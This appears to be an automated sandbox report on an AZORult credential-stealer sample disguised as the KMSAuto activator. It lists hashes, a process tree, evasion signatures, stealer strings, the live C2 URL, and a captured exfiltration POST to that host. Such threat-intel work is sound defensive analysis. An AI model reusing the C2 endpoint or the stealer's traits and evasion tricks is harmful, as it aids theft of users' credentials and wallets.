Edit tour

Windows Analysis Report
ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Overview

General Information

Sample Name:	ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Analysis ID:	834745
MD5:	1ac70328ce1dea448647022c5b360a67
SHA1:	4f295ccfc7b7a2eeeec53df66d22743dbac301a6
SHA256:	addcdf9e3bac722442fb269492fea86e91d4e97ee5df4ca5c03515d534fb0c51
Tags:	AZORultexe
Infos:

Detection

Azorult

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Azorult

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Azorult Info Stealer

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Hides threads from debuggers

Detected VMProtect packer

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to evade analysis by execution special instruction (VM detection)

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Drops PE files with benign system names

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

One or more processes crash

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

IP address seen in connection with other malware

Entry point lies outside standard sections

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe (PID: 4204 cmdline: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe MD5: 1AC70328CE1DEA448647022C5B360A67)

csrss.exe (PID: 5224 cmdline: "C:\Users\user\AppData\Roaming\csrss.exe" /nc /s MD5: 2A0C555C70EB25094C94E4BA5A6BA131)

WerFault.exe (PID: 2584 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5224 -s 1136 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

KMSAuto Net.exe (PID: 5148 cmdline: "C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe" /nc MD5: 2FB86BE791B4BB4389E55DF0FEC04EB7)

cmd.exe (PID: 6620 cmdline: cmd /c md "C:\Users\user\AppData\Local\MSfree Inc" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5916 cmdline: cmd /c echo test>>"C:\Program Files (x86)\KMSAuto\KMSAuto Net\test.test" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5528 cmdline: C:\Windows\Sysnative\cmd.exe /D /c del /F /Q "test.test" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/ https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Malware Configuration

Threatname: Azorult

{"C2 url": "http://f0355889.xsph.ru/Panel/index.php"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_csrss.exe_f22660799b81b1cdf575f7ba80bebda2d012813c_4666b2e0_0a75e935\Report.wer	SUSP_WER_Suspicious_Crash_Directory	Detects a crashed application executed in a suspicious directory	Florian Roth (Nextron Systems)	0x116:$a1: ReportIdentifier= 0x198:$a1: ReportIdentifier= 0x61c:$a2: .Name=Fault Module Name 0x2efe:$a3: AppPath= 0x2efe:$l4: AppPath=C:\Users\ 0x2efe:$s8: AppPath=C:\Users\user\AppData\Roaming\csrss.exe

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x18fd0:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xd164:$a2: %APPDATA%\.purple\accounts.xml 0xd8ac:$a3: %TEMP%\curbuf.dat 0x189b0:$a4: PasswordsList.txt 0x13d28:$a5: Software\Valve\Steam
Process Memory Space: csrss.exe PID: 5224	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: csrss.exe PID: 5224	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.csrss.exe.400000.0.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
1.2.csrss.exe.400000.0.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
1.2.csrss.exe.400000.0.unpack	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x193d0:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xd564:$a2: %APPDATA%\.purple\accounts.xml 0xdcac:$a3: %TEMP%\curbuf.dat 0x18db0:$a4: PasswordsList.txt 0x14128:$a5: Software\Valve\Steam
1.2.csrss.exe.400000.0.unpack	Azorult_1	Azorult Payload	kevoreilly	0x17353:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x1207c:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")

Snort Signatures

ET TROJAN Win32/AZORult V3.2 Client Checkin M15 - Source IP: 192.168.2.3 - Destination IP: 141.8.192.151

Timestamp:	192.168.2.3141.8.192.15149695802029465 03/25/23-14:27:06.642541
SID:	2029465
Source Port:	49695
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /Panel/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: f0355889.xsph.ruContent-Length: 107Cache-Control: no-cacheData Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 fd 28 39 ff 4e 4e 8d 28 39 ff 28 39 f1 28 38 8c 4b 48 ed 3e 3e ed 3e 32 ed 3e 3d ed 3e 3d ed 3e 33 89 28 38 8c 28 39 fa 28 39 f8 28 39 f1 28 39 f1 4f 2f fb 3d 4e ed 3e 3a ed 3e 3c Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9NN(9(9(8KH>>>2>=>=>3(8(9(9(9(9O/=N>:><

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Sat, 25 Mar 2023 13:27:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 65 30 39 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 6

Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: " /S /Q3spp\store\cache\cache.dat5spp\store\cache\cache.dat";spp\store\2.0\cache\cache.dat=spp\store\2.0\cache\cache.dat"Uhttp://www.youtube.com/watch?v=niXf0ov0S8I equals www.youtube.com (Youtube)
Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://www.youtube.com/results?search_query=%22KMSAuto%20Net%202015%22+KMS Log Analyzer.xlsm equals www.youtube.com (Youtube)

Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002217000.00000004.00001000.00020000.00000000.sdmp, ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: csrss.exe, 00000001.00000003.274427424.0000000002E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f0355889.xsph.ru/Panel/index.php
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.265139659.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.265177397.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: KMSAuto Net.exe.0.dr	String found in binary or memory: http://forum.ru-board.com
Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://forum.ru-board.comMarathiWindows
Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://goo.gl/eD7s9XShowWindowDominican
Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://goo.gl/eD7s9Xg
Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://habrahabr.ru/post/192986/#
Source: csrss.exe, csrss.exe, 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: http://ip-api.com/json
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002217000.00000004.00001000.00020000.00000000.sdmp, ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: KMSAuto Net.exe, 00000002.00000002.516542366.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002217000.00000004.00001000.00020000.00000000.sdmp, ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002217000.00000004.00001000.00020000.00000000.sdmp, ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002217000.00000004.00001000.00020000.00000000.sdmp, ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: KMSAuto Net.exe, 00000002.00000002.519780552.0000000005D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comW
Source: KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comn
Source: KMSAuto Net.exe, 00000002.00000003.267280152.0000000005D04000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.c
Source: KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.c#
Source: KMSAuto Net.exe, 00000002.00000003.267182751.0000000005D3D000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: KMSAuto Net.exe, 00000002.00000003.267704547.0000000005D0B000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.267280152.0000000005D04000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnl
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/9
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/M
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0a
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Z
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/b
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/ito
Source: KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/~
Source: KMSAuto Net.exe, 00000002.00000003.264600737.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264661332.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264634623.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264512674.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264465536.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264393524.0000000005D22000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264764177.0000000005D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: KMSAuto Net.exe, 00000002.00000003.264600737.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264661332.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264634623.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264512674.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264465536.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264393524.0000000005D22000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264764177.0000000005D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comd
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: KMSAuto Net.exe, 00000002.00000003.266039290.0000000005D09000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: KMSAuto Net.exe, 00000002.00000003.266039290.0000000005D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.krA
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.265177397.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: KMSAuto Net.exe, 00000002.00000003.265139659.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comn
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://www.youtube.com/results?search_query=%22KMSAuto%20Net%202015%22
Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	String found in binary or memory: http://www.youtube.com/watch?v=niXf0ov0S8I
Source: KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: csrss.exe, 00000001.00000003.255564669.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.274376515.0000000002E0C000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255583166.0000000002E08000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cp.sprinthost.ru
Source: csrss.exe, 00000001.00000003.255564669.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.274376515.0000000002E0C000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255583166.0000000002E08000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cp.sprinthost.ru/customer/ips/list
Source: csrss.exe, csrss.exe, 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://dotbit.me/a/
Source: csrss.exe, 00000001.00000003.255564669.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255546682.0000000002E1C000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255583166.0000000002E08000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.274427424.0000000002E00000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255405907.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255463802.0000000002E0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://index.from.sh/pages/game.html
